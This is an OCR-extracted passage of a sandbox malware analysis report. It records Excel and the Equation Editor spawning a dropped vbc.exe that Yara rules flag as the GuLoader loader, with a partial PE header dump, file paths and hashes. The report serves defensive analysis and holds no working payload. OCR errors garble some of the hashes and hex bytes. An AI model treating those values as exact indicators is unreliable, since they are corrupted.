003 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 07 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 10 00 00
€6 1c 04 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
00 04 64 03 00 28 00 00 00 00 80 03 00 92 7a 00 00 00 00 00 00 00 00 00 00 58 00 04 00 18 14 00 00 00 00 00 00 00 00
00 00 20 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 28 02 00 00 20 00 00 00 00 10 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 2e 74 65 78 74 00 00 00 30 59 03 00 00 10 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00
00 20 00 00 60 2e 64 61 74 61 00 00 00 d4 Ob 00 00 00 70 03 00 00 10 00 00 00 70 03 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 92 7a 00 00 00 80 03 00 00 80 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$yRichPELFR pp@d(zX ( .text0Y" ".datapp@.rs
rcz@@IMSVBVM60.DLL

Analysis Process: EXCEL.EXE PID: 2668 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Copyright Joe Security LLC 2021

16:54:44

14/07/2021

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
0x13f820000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

Key Value Modified

true
true
C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 3056 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

16:55:06

14/07/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

true

‘C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding
0x400000

543304 bytes

A87236E214F6D42A65F5DEDAC816AECS

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created
Analysis Process: vbc.exe PID: 2552 Parent PID: 3056

General

Start time: 16:55:09

Start date: 14/07/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\Public\vbc.exe'

Imagebase: 0x400000

File size: 267376 bytes

MDS5 hash: FCFBOEC70F1419EDE8A534CC95CB61E9

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

Visual Basic
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Yara matches:

Rule: JoeSecurity_GulLoader_1, Description: Yara detected GuLoader, Source:
00000006.00000002.2365772167.0000000000401000.00000020.00020000.sdmp,
Author: Joe Security

Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000006.00000002.2365714834.00000000002A0000.00000040.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_GulLoader_1, Description: Yara detected GuLoader, Source:
00000006.00000000.2148896829.0000000000401000.00000020.00020000.sdmp,
Author: Joe Security

Rule: JoeSecurity_GulLoader_1, Description: Yara detected GuLoader, Source:
C:\Users\Public\vbc.exe, Author: Joe Security

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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